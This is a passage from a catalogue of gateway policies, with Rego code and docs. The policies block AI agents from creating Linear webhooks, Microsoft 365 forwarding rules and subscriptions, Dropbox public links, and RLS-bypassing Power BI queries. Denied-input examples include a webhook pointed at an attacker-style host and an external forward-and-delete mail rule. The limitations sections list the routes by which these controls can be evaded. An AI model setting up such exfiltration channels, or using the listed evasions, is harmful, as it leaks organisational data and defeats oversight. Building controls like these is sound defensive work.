verb-noun and noun-verb orderings: - `*createwebhook` / `*webhookcreate` - `*updatewebhook` / `*webhookupdate` - `*deletewebhook` / `*webhookdelete` `linear_createWebhook` and `linear_deleteWebhook` are verified names from the `tacticlaunch/mcp-linear` [TOOLS.md](https://github.com/tacticlaunch/mcp-linear/blob/main/TOOLS.md) inventory; the `update` variant is the natural GraphQL-mirroring sibling (an `updateWebhook` mutation exists in Linear's API) and is included defensively. Both orderings are matched because Linear's **underlying GraphQL mutations are named noun-verb** (`webhookCreate`, `webhookUpdate`, `webhookDelete`), and the landscape note states the tacticlaunch sidecar "mirrors the full GraphQL API" — a server that wraps those mutations more literally would present `linear_webhookCreate` rather than tacticlaunch's verb-noun `linear_createWebhook`. Matching only the verb-noun suffix would let the GraphQL-native spelling through, so both are covered. The DTwo gateway prefixes tool names with the configured MCP server name, and that prefix — and the separator it uses — is not standardized. Matching on the bare lowercased suffix (`createwebhook`, not `-createWebhook`) keeps the policy portable: it catches the prefixed camelCase name (`linear_createWebhook`), any separator the gateway joins with (`linear-createWebhook`, `linear.createWebhook`), a mixed-case rename, and the unprefixed name. No benign Linear tool ends in any of these suffixes — the read counterpart is `linear_getWebhooks`, which ends in `getwebhooks` and is left untouched (reading existing webhooks is useful for detection). Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None inspected. The deny is keyed entirely on the tool name — arguments (callback URL, event scope) are irrelevant because no invocation of these tools is acceptable from an agent. Calls with missing or empty `args` are still denied (fail closed on the name match alone). ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "linear_getWebhooks", "type": "tool" }, "payload": { "name": "linear_getWebhooks", "args": {} } } } ``` `allow = true`, no reason — reading existing webhooks is fine (and useful for detection). ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "linear_createWebhook", "type": "tool" }, "payload": { "name": "linear_createWebhook", "args": { "url": "https://evil.example/hook", "resourceTypes": ["Issue", "Comment"] } } } } ``` `allow = false`, denied with the security-review reason below. ## Composition - **`apps/linear/freeze-destructive-ops`** — the broader destructive-suffix wall (`delete*`/`archive*`/`logout*`). It also covers `linear_deleteWebhook`; this policy is the unconditional inner wall for the webhook surface specifically (creation is a persistence op, not a destructive one, so `createWebhook`/`updateWebhook` belong here). Attaching both is redundant on delete and complementary on create/update. - **`apps/linear/default-deny-unknown-tools`** (PF-28) — closes the rename residual: a webhook tool renamed entirely (e.g. `subscribeEvents`) would slip this suffix match but is caught by the allowlist. - **`apps/linear/role-gate-writes`** — the outer least-privilege write gate; this policy is the always-on inner wall for the single highest-risk surface. ## Known limitations - **Suffix anchoring, not full names.** Matching is anchored on the lowercased `createwebhook`/`updatewebhook`/`deletewebhook` suffix and its noun-verb mirror `webhookcreate`/`webhookupdate`/`webhookdelete`, so it catches prefixed and separator-joined names in either ordering. A server that *renames* the tool entirely (e.g. `subscribeToEvents`, `addWebhookEndpoint`) — where neither the create/update/delete verb nor `webhook` is the final token — would still slip past. Combined with `default-deny-unknown-tools` (PF-28) this residual is closed. - **Noun-verb (GraphQL-native) ordering is covered.** Linear's GraphQL mutations are `webhookCreate`/`webhookUpdate`/`webhookDelete`; the policy matches this ordering as well as tacticlaunch's verb-noun `createWebhook`. This closes a bypass where a more literal GraphQL wrapper would present the noun-verb spelling. (Red-team finding, fixed — see the `linear_webhookCreate` deny test.) - **Underscore-split spellings.** The suffixes are the camelCase community spellings (`createWebhook` → `createwebhook`, `webhookCreate` → `webhookcreate`). A hypothetical snake_case spelling in either ordering (`create_webhook`, `webhook_create`) would not match because the underscore breaks the suffix. No verified Linear server uses that spelling (the official server has no webhook tools; `tacticlaunch` uses camelCase; `jerhadf` exposes no webhook tools), but if your server does, add the split-form suffix. - **Raw GraphQL / passthrough tools.** This policy keys on the tool name, so it cannot see a `webhookCreate` mutation smuggled through a generic raw-GraphQL or API-passthrough tool. No such tool is verified in the Linear landscape note, and any unrecognized passthrough tool is caught by `default-deny-unknown-tools` (PF-28) and `deny-escape-hatches` (PF-22); attach those alongside this policy. - **No identity gate by design.** This policy has no `input.subject.claims` group check — all callers are denied. A standing exfiltration channel should never be created via an agent path, so there is no break-glass branch here. If you genuinely need an agent-driven integration setup, do it through an out-of-band IT/security-review process, not by exempting a group in this policy. - **Existing webhooks are not torn down.** This policy blocks the *creation*, *modification*, and *deletion* of webhooks via the agent; it does nothing about webhooks already registered in the workspace out of band. Audit existing webhooks in Linear's settings directly. - **MCP path only.** Webhooks created via Linear's web UI, native API, or a personal API token outside the gateway are outside its reach. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package linear.ingress.guard_webhook_persistence # Deny-by-default: only the explicit allow rule below permits the request. default allow := false # Webhook-persistence surfaces. A Linear webhook is a standing outbound feed of # workspace events to an arbitrary URL that the gateway cannot inspect once # created — the highest-risk single tool in the Linear landscape. The official # server exposes NO webhook tools, so any webhook call is community-sidecar # (tacticlaunch) traffic by definition. # # The gateway prefixes tool names with the configured MCP server name, and that # prefix and its separator are not standardized. We match case-insensitively on # the bare verb-noun suffix (`createwebhook`, not `-createWebhook`) so the rule # catches the prefixed camelCase name (`linear_createWebhook`), any separator # (`linear-createWebhook`, `linear.createWebhook`), a mixed-case rename, and the # unprefixed name. No benign Linear tool ends in these suffixes — the read # counterpart is `getWebhooks` (`...getwebhooks`), which is left untouched. # Creates a webhook (opens a standing out-of-band exfiltration channel). is_webhook_tool if { endswith(lower(input.resource.name), "createwebhook") } # Updates a webhook (can retarget the callback URL or widen the event scope). is_webhook_tool if { endswith(lower(input.resource.name), "updatewebhook") } # Deletes a webhook (mutating the webhook set is not an agent action). is_webhook_tool if { endswith(lower(input.resource.name), "deletewebhook") } # Same three surfaces in GraphQL-native noun-verb order. Linear's underlying # GraphQL mutations are named `webhookCreate`/`webhookUpdate`/`webhookDelete`, # and the tacticlaunch sidecar "mirrors the full GraphQL API" — so a server that # wraps the mutations more literally (or a future tool rename) can present the # noun-verb spelling (`linear_webhookCreate`) instead of tacticlaunch's verb-noun # spelling (`linear_createWebhook`). Match both orderings so neither slips. # `getWebhooks` (`...getwebhooks`) still ends in none of these and is untouched. is_webhook_tool if { endswith(lower(input.resource.name), "webhookcreate") } is_webhook_tool if { endswith(lower(input.resource.name), "webhookupdate") } is_webhook_tool if { endswith(lower(input.resource.name), "webhookdelete") } # Allow everything that is not a webhook-mutation tool. allow if { not is_webhook_tool } # No allow rule exists for webhook tools: the deny is unconditional. # There is deliberately no group exemption — a standing exfiltration channel # should never be created via an agent path, for any caller. reasons contains "Linear webhooks create a standing outbound feed of workspace events to an external URL that the gateway cannot see or inspect once created — agents are not permitted to create, update, or delete them. Set up integrations through your IT or security-review process instead of via the agent. This attempt has been flagged for security review. Contact your InfoSec team if you believe this block is a mistake." if { is_webhook_tool } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Mail-Rule and Webhook Persistence URL: https://www.intentbasedpolicy.com/policies/ms365/guard-mailbox-persistence App(s): ms365 | Direction: ingress | Bundles: soc2 | Package: ms365.ingress.guard_mailbox_persistence | Published: 2026-07-12 | Tags: ms365, guard-mailbox-persistence, ingress, bec, email, finserv-comms, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/ms365/guard-mailbox-persistence/policy.md # ms365 / guard-mailbox-persistence **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `ms365.ingress.guard_mailbox_persistence` ## What it does Unconditionally denies the classic business-email-compromise (BEC) persistence surface in Microsoft 365: creating or updating Outlook mail rules, changing mailbox settings, and creating Microsoft Graph change-notification subscriptions (webhooks). All other tool calls pass through unchanged. Mail rules can silently auto-forward incoming mail to an external address or delete/hide it (the hide-and-forward filter attackers plant after a compromise). Mailbox-settings changes can enable automatic external forwarding for the whole mailbox. A Graph subscription is a standing webhook that streams change notifications to an attacker-controlled URL — a persistent exfiltration channel that survives the session that created it. Agents have no legitimate reason to configure any of these. This policy is therefore **deny-for-everyone**: there is no group exemption and no role check. A compromised or prompt-injected agent gets a hard stop, not a permission ladder to climb. The deny reason flags the attempt for security review — treat every denial from this policy as a log-and-alert signal, not routine noise. ## Compliance alignment - **SEC 17a-4(b) / FINRA 4511(c)** — supports record-integrity requirements: mail rules that auto-delete or divert incoming correspondence would silently destroy or reroute business communications before they can be preserved; blocking rule creation on the agent path supports record anti-destruction. - **SOC 2 CC6.6** — supports boundary protection against external threats: mail rules and Graph change-notification subscriptions are the standing channels a compromised agent uses to auto-forward or stream tenant content to an outside endpoint, and denying their creation on the agent path closes that boundary hole. - **GDPR Art. 32 / Art. 5(1)(f)** — supports security of processing: an auto-forwarding mail rule or a webhook subscription is a persistent personal-data exfiltration channel, so blocking its creation on the agent channel reduces the risk of unauthorized disclosure of personal data. - Anti-BEC hardening generally: mailbox-rule and forwarding persistence is the most common post-compromise action in real-world BEC incidents, so denying it on the agent channel removes a high-value attacker foothold. ## Tool name matching The policy matches tools case-insensitively by verb-noun suffix: - `*create-mail-rule` - `*update-mail-rule` - `*update-mailbox-settings` - `*create-subscription` (the Graph change-notification webhook) These suffixes are verified names from the softeria `ms-365-mcp-server` inventory (observed live behind a gateway with the `ms365-` prefix, e.g. `ms365-create-mail-rule`). The DTwo gateway prefixes tool names with the configured MCP server name, and that prefix — and the separator it uses — is not standardized, so the policy anchors on the bare verb-noun suffix (no leading `-`). This matches whether the gateway joins the prefix with a hyphen (`ms365-create-mail-rule`), a dot or underscore (`ms365.create-mail-rule`, `ms365_create-mail-rule`), or exposes the unprefixed name (`create-mail-rule`). No benign ms365 tool ends in these suffixes — the read counterparts are `list-mail-rules`, `get-mailbox-settings`, and `get`/`list-subscription(s)` — so there are no false positives. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None inspected. The deny is keyed entirely on the tool name — arguments are irrelevant because no invocation of these tools is acceptable. Calls with missing or empty `args` are still denied (fail closed on the name match alone). ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-list-mail-rules", "type": "tool" }, "payload": { "name": "ms365-list-mail-rules", "args": {} } } } ``` `allow = true`, no reason — reading existing rules is fine (and useful for detection). ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-create-mail-rule", "type": "tool" }, "payload": { "name": "ms365-create-mail-rule", "args": { "body": { "displayName": "sync", "actions": { "forwardTo": [ /* external address */ ], "delete": true } } } } } } ``` `allow = false`, denied with the security-review reason below. ## Composition - **`apps/ms365/freeze-destructive-ops`** — covers the companion surfaces `*-delete-mail-rule` and `*-delete-subscription` (destroying rules/subscriptions is a destructive op, not a persistence op, so it lives there). - **`apps/ms365/role-gate-writes`** — the outer least-privilege write gate; this policy is the unconditional inner wall for the BEC surface specifically. - **`apps/ms365/deny-graph-batch`** — **must ship together with this policy.** `graph-batch` can reach the same Graph endpoints (`/me/mailFolders/inbox/messageRules`, `/subscriptions`, `/me/mailboxSettings`) without touching these tool names. ## Known limitations - **`graph-batch` bypass if unaccompanied.** This policy matches tool names only. If `deny-graph-batch` is not attached to the same pipeline, a batched Graph request can create the same mail rule or subscription this policy blocks. Attach both. - **Generic passthrough servers.** Lokka-style servers (`Lokka-Microsoft`) expose one dynamic tool whose name never matches these suffixes; they need argument-level (`method`/`path`) policies instead. - **Existing subscriptions are not torn down.** `*-update-subscription` and `*-reauthorize-subscription` (which extend the lifetime of an already-existing webhook, but cannot create a new one or change its notification URL) are left to `role-gate-writes`; this policy only blocks the creation of new persistence. - **Focused-inbox overrides are out of scope.** `*-create-focused-inbox-override` (and its `update-`/`delete-` siblings) plant a standing rule that pins a chosen sender to the Focused or Other tab. This is a weaker persistence surface than a mail rule — it only reclassifies which tab mail lands in and cannot forward externally or delete — but an attacker can use it to bury a legitimate vendor's fraud-warning mail in Other. This policy deliberately covers only mail rules, mailbox settings, and subscriptions, so a focused-inbox override passes through here; gate it via `role-gate-writes` (least-privilege write gate) instead. - **Suffix anchoring.** Matching is anchored on the bare verb-noun suffix (`create-mail-rule`, not `-create-mail-rule`), so it catches prefixed names regardless of the separator the gateway uses (`-`, `.`, `_`) as well as the unprefixed name `create-mail-rule`. A server that *renames* the tool entirely (e.g. `add-inbox-filter`) would still slip past — verify your gateway's naming with the dump-input technique. Combined with the `default-deny-unknown-tools` (PF-28) allowlist this residual is closed. - **MCP path only.** Rules created via Outlook, OWA, PowerShell, or direct Graph API calls are outside the gateway's reach. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package ms365.ingress.guard_mailbox_persistence # Deny-by-default: only the explicit allow rule below permits the request. default allow := false # Mailbox-persistence surfaces (classic BEC foothold). The gateway prefixes # tool names with the configured MCP server name (observed live as `ms365-`), # so we match case-insensitively on the verb-noun suffix WITHOUT requiring a # specific prefix separator. Anchoring on the bare `create-mail-rule` suffix # (rather than `-create-mail-rule`) also catches gateways that join the prefix # with a non-hyphen separator (`ms365.create-mail-rule`, `ms365_create-mail-rule`) # and servers that expose the unprefixed tool name — all of which would slip past # a leading-hyphen anchor. No benign ms365 tool ends in these verb-noun suffixes # (reads are `list-mail-rules`, `get-mailbox-settings`, `get/list-subscription(s)`), # so dropping the hyphen adds no false positives. # Creates an Outlook inbox rule (can auto-forward or silently delete mail). is_persistence_tool if { endswith(lower(input.resource.name), "create-mail-rule") } # Rewrites an existing inbox rule (same forward/hide capability). is_persistence_tool if { endswith(lower(input.resource.name), "update-mail-rule") } # Changes mailbox settings (can enable automatic external forwarding). is_persistence_tool if { endswith(lower(input.resource.name), "update-mailbox-settings") } # Creates a Graph change-notification webhook (standing exfiltration channel). is_persistence_tool if { endswith(lower(input.resource.name), "create-subscription") } # Allow everything that is not a mailbox-persistence tool. allow if { not is_persistence_tool } # No allow rule exists for persistence tools: the deny is unconditional. # There is deliberately no group exemption — agents never configure # mail rules, mailbox settings, or webhooks. reasons contains "Mailbox rules, mailbox settings, and Graph change-notification subscriptions must be configured by a human in Outlook or the Microsoft 365 admin center — agents are not permitted to create or modify them. This attempt has been flagged for security review. Contact your InfoSec team if you believe this block is a mistake." if { is_persistence_tool } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Power BI RLS-Bypass Service-Principal Queries URL: https://www.intentbasedpolicy.com/policies/power-bi/block-rls-bypass-service-principal App(s): power-bi | Direction: ingress | Bundles: soc2 | Package: power_bi.ingress.block_rls_bypass_service_principal | Published: 2026-07-12 | Tags: power-bi, role-gate-writes, rls, service-principal, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/power-bi/block-rls-bypass-service-principal/policy.md # power-bi / block-rls-bypass-service-principal **Direction:** ingress (`tool_pre_invoke`) **Default:** deny the targeted read/query tools under service-principal or unconfirmed identity; allow otherwise **Package:** `power_bi.ingress.block_rls_bypass_service_principal` ## What it does On Microsoft's remote Power BI MCP server (`https://api.fabric.microsoft.com/v1/mcp/powerbi`), row-level security (RLS) is enforced for interactive Microsoft Entra **user** sessions but is **not** enforced under **Service Principal** authentication. An SP-authenticated agent therefore reads every RLS role's data across the semantic model — a shared-credential deployment (one service principal serving many users) silently widens every user's data scope to the principal's full access. This ingress policy denies the read/query tools whenever the session identity indicates a service principal rather than a named user: - `ExecuteQuery` — runs arbitrary DAX against a semantic model (remote server) - `ValueSearch` — searches actual data values in a model (remote server) - `execute_dax` / `desktop_execute_dax` — community server DAX execution - `dax_query_operations` — modeling server DAX query surface The identity check reads an Entra token-type claim via `object.get(input.subject, "claims", {})`. It treats `idtyp == "app"` — or an app/`oid` identity carrying no user `upn`/`email` claim — as a service principal, and **fails closed (deny)** when identity is absent or ambiguous, including when `subject`/`claims` arrive as a non-object (string/number/array) or the tool name is carried only on `payload.name`. On the **remote official** server, named-user sessions pass through unchanged so the service enforces RLS filters; see the Known-limitations caveat on the community/modeling servers, which authenticate upstream under their own service principal. Every non-query tool passes through unchanged (this policy governs only the RLS-sensitive read surfaces above; pair it with the RLS-tampering and modeling-write policies for the rest). ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets by preventing a service identity from reading past the RLS boundary that scopes each user to their own rows; **CC6.3** — supports role-based least privilege by keeping the agent's data scope tied to a named user's RLS role rather than the principal's full model access. - **GDPR Art. 25** — supports data protection by default: the RLS-widening path is closed unless a named user is positively identified; **Art. 29** — supports processing only on the controller's instructions by refusing agent reads that cannot be attributed to an instructed named user. ## Why ingress and not egress RLS scoping must be decided before the query runs. Under a service principal the model returns every role's rows, so egress redaction would have to reconstruct per-user RLS filters after the fact — the gateway has no way to know which rows a given user should have seen. Denying the call at ingress is the only point where the RLS boundary can be preserved. ## Tool name matching Tools are matched case-insensitively on `lower(input.resource.name)` by **suffix**, because the DTwo gateway prefixes tool names with the configured MCP server name and that prefix is not standardized: - `endswith(name, "executequery")` — remote `ExecuteQuery` - `endswith(name, "valuesearch")` — remote `ValueSearch` - `endswith(name, "execute_dax")` — community `execute_dax` **and** `desktop_execute_dax` - `endswith(name, "dax_query_operations")` — modeling `dax_query_operations` Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. If your query tool exposes a different name, add its suffix to `is_query_tool` in `policy.md`. ## Argument shape This policy makes **no** assumptions about argument keys — the decision is driven entirely by the tool name and the session identity claims, not by the DAX text or model IDs. It composes with the whole-table-dump guard and model-ID fencing policies, which do inspect arguments. ## Identity claims Identity is read from `object.get(input.subject, "claims", {})`: - `idtyp` — Entra token-type claim. `"app"` denotes an application (client-credentials / service-principal) token; `"user"` denotes a delegated user token. - `upn` / `email` — a named user's principal name or email. Presence of either (with `idtyp` not `"app"`) is treated as a named-user signal when `idtyp` is not carried. To count as a positive signal the value must be a **string containing `@`** — both fields are `@`-bearing — so whitespace-only or non-string junk values (`" "`, `0`, `false`) do **not** spoof a named user. `idtyp` is normalized to a lowercase string; a non-string `idtyp` (a type-confusion attempt) degrades to `""` so the service-principal test stays defined and fails closed rather than collapsing to a fail-open allow. A caller is treated as a **named user** (allowed) only when it is not an app token **and** carries a positive user signal (`idtyp == "user"`, or a `upn`/`email` string containing `@`). Everything else — an explicit `app` token, or an identity with no valid user principal at all — is treated as a service principal or ambiguous identity and denied. ## Examples ### Allowed — named user runs a query (RLS applies) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "powerbi-mcp-ExecuteQuery", "type": "tool" }, "subject": { "claims": { "idtyp": "user", "upn": "alice@corp.com" } }, "payload": { "name": "powerbi-mcp-ExecuteQuery", "args": { "modelId": "…", "query": "EVALUATE TOPN(10, 'Sales')" } } } } ``` `allow = true`, no reason. ### Allowed — a non-query tool passes through ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "powerbi-mcp-GetSemanticModelSchema", "type": "tool" }, "subject": { "claims": { "idtyp": "app" } }, "payload": { "name": "powerbi-mcp-GetSemanticModelSchema", "args": {} } } } ``` `allow = true` — this policy only governs the RLS-sensitive read/query surfaces. ### Denied — service-principal (app) token ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "powerbi-mcp-ExecuteQuery", "type": "tool" }, "subject": { "claims": { "idtyp": "app", "oid": "…", "appid": "…" } }, "payload": { "name": "powerbi-mcp-ExecuteQuery", "args": { "query": "EVALUATE 'Customers'" } } } } ``` `allow = false`, reason names the RLS-bypass risk and tells the caller to re-run under an interactive user identity. ### Denied — ambiguous / absent identity (fail closed) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "community-desktop_execute_dax", "type": "tool" }, "subject": { "claims": {} }, "payload": { "name": "community-desktop_execute_dax", "args": { "dax_query": "EVALUATE 'Sales'" } } } } ``` `allow = false` — with no user token-type or `upn`/`email` claim, the policy cannot confirm a named user and denies rather than risk a silent RLS bypass. ## Composition Single-purpose. Curated companions on the Power BI surface: - **Deny RLS tampering** (`security_role_operations` and community RLS role tools) — stops the filter *definitions* from being rewritten. - **Whole-table dump guard** — denies bare `EVALUATE 'Table'` DAX on the same query tools regardless of identity. - **Model-ID fencing** — restricts which semantic models a caller may touch. - **Egress PII redaction** on query results — a backstop for models without column masking. ## Known limitations - **Claim key is a placeholder to confirm at import time.** The exact wire name of the token-type / service-principal claim as forwarded by the gateway is **unverified**. This policy reads it as `idtyp` (the Entra optional-claim name); if your gateway forwards it under a different key, update `idtyp`/`upn`/`email` in `is_service_principal` / `has_user_principal` in `policy.md`. Because the policy fails closed, a mis-named claim degrades to denying named users (safe but noisy), not to allowing service principals. - **RLS restoration for named users holds only on the remote official server.** The premise "named user ⇒ RLS applies" is true for the hosted `/mcp/powerbi` server, whose queries run as the authenticated Entra user. The **community** server (`execute_dax` / `desktop_execute_dax`) authenticates to Power BI with its **own** service-principal credentials (`CLIENT_ID`/`CLIENT_SECRET`), and the **modeling** server's `dax_query_operations` runs against Power BI Desktop / local PBIP / XMLA endpoints where RLS is not enforced at all. On those servers, allowing a named-user gateway session does **not** restore RLS — the upstream connection is still a service principal (or a Desktop model with no RLS), invisible to the gateway. Treat the identity gate as a full RLS control only for the remote server; on the community/modeling DAX surfaces, pair it with model-ID fencing, the whole-table-dump guard, and egress PII redaction. (A shop that wants a hard stop there should deny those two suffixes unconditionally.) - **Adjacent community read tools are out of scope.** This policy gates only the four DAX-execution / value-search suffixes. Other community read tools that also touch model data under the server's service principal — `analyze_query_performance` (executes DAX to profile a query), `desktop_discover`, `cloud_list_tables`/`cloud_list_columns`/`cloud_list_measures`, `scan_measure_dependencies` — and the remote `GenerateQuery` (NL→DAX generation; returns query text, not rows) are **not** matched here. Add their suffixes to `query_suffixes` if you want them under the same identity gate, and rely on model-ID fencing / egress redaction for the metadata-listing tools. - **Malformed identity and tool-name fields fail closed.** `subject`, `claims`, `idtyp`, `upn`, and `email` are each hardened against non-object / non-string / whitespace values so a malformed or hostile token shape degrades to deny, not allow. The query-tool test reads **both** `resource.name` and `payload.name`, so a call that carries the tool name on only one of those fields (or a non-string `resource.name`) is still matched. What remains out of reach is a caller who forges a genuine-looking `idtyp: "user"` or `@`-bearing `upn`/`email` claim past the gateway's authenticator — token validation is the authenticator's job, upstream of policy. - **`ValueSearch` / `ResolveReportIdFromUrl` presence on `/mcp/powerbi` is unverified.** The landscape note verifies `ValueSearch` on the closely related `fabricaihub` endpoint variant; its presence on `/mcp/powerbi` is landscape-noted as unverified. The suffix match is harmless if the tool is absent. - **Modeling-server multiplexers.** `dax_query_operations` is a query surface, but the modeling server's other `*_operations` tools multiplex reads and writes under one name; this policy does not touch them — use the modeling-write and RLS-tampering policies for that surface. - **Identity signals only.** The policy trusts the forwarded claims to distinguish user from service-principal sessions; it does not attempt to validate the token itself. Token validation is the gateway's authenticator's job, upstream of policy. The claim *values* are hardened against type-confusion and whitespace/junk spoofing (`idtyp` is string-normalized; `upn`/`email` must be strings containing `@`), but a caller who can forge a genuine-looking `upn`/`email` claim past the authenticator is out of this policy's reach. - **No batched-read surface.** None of the Power BI MCP servers in the landscape note expose a batched/composite read tool (the community `batch_*` tools are writes), so there is no batching route to smuggle a query past the per-tool suffix match. Re-verify if a future server version adds one. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package power_bi.ingress.block_rls_bypass_service_principal # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Session identity claims. A fully-absent subject or claims degrades to {} so # every lookup below fails closed rather than leaving the rule undefined. # A NON-OBJECT claims value (string / number / array — a malformed or hostile # token shape) also degrades to {}: without this guard `object.get(claims, ...)` # on a non-object returns UNDEFINED, which collapses `is_service_principal` to # undefined and fails OPEN (allow) on the query tools. Forcing {} keeps every # lookup defined so the policy fails closed. # `subject` is guarded to an object first: a non-object subject (e.g. a bare # string) would make `object.get(subject, "claims", {})` return UNDEFINED, which # leaves `raw_claims` undefined and — because an undefined rule value poisons the # `not is_object(raw_claims)` guard below — collapses `claims` to undefined and # fails OPEN. Forcing a non-object subject to {} keeps the chain defined. subject := object.get(input, "subject", {}) raw_claims := object.get(subject, "claims", {}) if is_object(subject) raw_claims := {} if not is_object(subject) claims := raw_claims if is_object(raw_claims) claims := {} if not is_object(raw_claims) # Entra token-type claim, normalized to a lowercase string. NOTE: the exact wire # name is unverified — see the "Claim key is a placeholder" limitation. "app" == # application/service-principal (client-credentials) token; "user" == delegated # user token. A NON-STRING value (type-confusion attempt) degrades to "" so the # rules below stay defined and fail closed — without this guard `lower(non_string)` # is undefined, which collapses `is_service_principal` and fails OPEN. raw_idtyp := object.get(claims, "idtyp", "") idtyp := lower(raw_idtyp) if is_string(raw_idtyp) idtyp := "" if not is_string(raw_idtyp) # Named-user signals. A positive signal must actually look like a principal: a # string containing "@" (both upn and email are @-bearing). This rejects # whitespace-only or non-string values (e.g. " ", 0, false) that would otherwise # slip past a bare emptiness check and spoof a named user, opening the RLS bypass. upn := object.get(claims, "upn", "") email := object.get(claims, "email", "") has_user_principal if { is_string(upn) contains(upn, "@") } has_user_principal if { is_string(email) contains(email, "@") } # RLS-sensitive read/query tools. Matched case-insensitively by suffix for # portability across the gateway's server-name prefix. `execute_dax` also # matches the community `desktop_execute_dax`. query_suffixes := [ "executequery", # remote ExecuteQuery "valuesearch", # remote ValueSearch (presence on /mcp/powerbi unverified) "execute_dax", # community execute_dax + desktop_execute_dax "dax_query_operations", # modeling dax_query_operations ] # Tool name is read from BOTH input.resource.name and input.payload.name. A deny # policy must not fail open on the tool-identity field: if `input.resource.name` # is absent or non-string (leaving `lower(input.resource.name)` undefined) but the # call still identifies a query tool via `payload.name`, matching only # resource.name would collapse `is_query_tool` and ALLOW the read. Considering # both string-valued names closes that gap; non-string names are simply ignored. resource_name := object.get(object.get(input, "resource", {}), "name", "") payload_name := object.get(object.get(input, "payload", {}), "name", "") candidate_names contains lower(resource_name) if is_string(resource_name) candidate_names contains lower(payload_name) if is_string(payload_name) is_query_tool if { some name in candidate_names some suffix in query_suffixes endswith(name, suffix) } # Explicit application/service-principal token. is_service_principal if { idtyp == "app" } # App/oid-style identity carrying no valid user principal at all — this also # captures the absent/ambiguous case (empty claims) and whitespace/non-string # spoof values, so the policy fails closed. is_service_principal if { idtyp != "user" not has_user_principal } # Allow anything that is not one of the RLS-sensitive query tools. allow if { not is_query_tool } # Allow the query tools only for a positively identified named user (RLS applies). allow if { is_query_tool not is_service_principal } # Deny reason: explicit service-principal (app) token. reasons contains "Power BI does not enforce row-level security (RLS) under service-principal authentication, so this read/query would return every RLS role's data. Run Power BI query tools (ExecuteQuery, ValueSearch, execute_dax, dax_query_operations) under an interactive Entra user identity instead of an app/service-principal token. Ask your data-governance team for an exception if this service principal is intentionally scoped." if { is_query_tool idtyp == "app" } # Deny reason: identity absent or ambiguous — no named-user signal to confirm RLS scoping. reasons contains "This session's identity could not be confirmed as a named Entra user (no user token-type or upn/email claim), so this RLS-sensitive Power BI read/query is denied rather than risk a silent row-level-security bypass. Re-authenticate with an interactive user identity, or confirm the gateway forwards the Entra token-type and upn/email claims. Contact your data-governance team if this is a false positive." if { is_query_tool is_service_principal idtyp != "app" } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Public Dropbox Share, Download, and File-Request Links URL: https://www.intentbasedpolicy.com/policies/dropbox/guard-share-links-external App(s): dropbox | Direction: ingress | Bundles: soc2, hipaa, gdpr-ccpa | Package: dropbox.ingress.guard_share_links_external | Published: 2026-07-12 | Tags: dropbox, guard-share-links, sharing, external-sharing, ingress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/dropbox/guard-share-links-external/policy.md # dropbox / guard-share-links-external **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `dropbox.ingress.guard_share_links_external` ## What it does Denies, by default, the Dropbox tools that turn an internal file into an internet-visible resource in a single call — before the request ever reaches Dropbox: - **Public share links** — `CreateSharedLink` (official server) and its community equivalents `get_sharing_link` (`dbx-mcp-server`) and `dropbox_create_shared_link` (`ngs`). A Dropbox shared link defaults to *anyone with the link*: a public, anonymous URL. - **Single-use download URLs** — `DownloadLink` (official), a temporary public download URL. - **External upload endpoints** — `CreateFileRequest` (official), an externally-reachable upload URL. These are the highest-risk writes on the Dropbox MCP surface and are effectively irreversible once the URL has been fetched, so the policy fails closed (`default allow := false`) and permits them **only** when the caller's IdP groups (`input.subject.claims.groups`) include the placeholder `dropbox-sharing` group. Every read tool and every non-sharing write passes through untouched. Matching is case-insensitive and **by substring** (`contains`), so it survives the gateway's configured server-name prefix (e.g. `dropbox-CreateSharedLink`), the PascalCase/snake_case divergence between the official and community servers, **and** any trailing API-style token — a variant such as `CreateSharedLinkWithSettings` or `create_shared_link_with_settings` (the real Dropbox v2 endpoint name) is still caught, where a pure suffix match would have let it through. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission, movement, and removal of confidential information by stopping an agent from minting public share links, download URLs, and external upload endpoints on the MCP path. - **SOC 2 P6.1** — supports limiting disclosure of personal information to third parties: files commonly kept in Dropbox (HR records, contracts, financial statements) cannot be exposed to the open internet by an agent without an explicitly authorized group. - **GDPR Art. 5(1)(f) / Art. 32** — supports the security-of-processing and confidentiality principle by stopping agent-initiated movement of personal-data files to anonymous public URLs or external upload endpoints on the MCP path; **Arts. 44/46** — supports the restriction on cross-border transfers by denying public share links an agent cannot otherwise scrutinize. **CCPA/CPRA 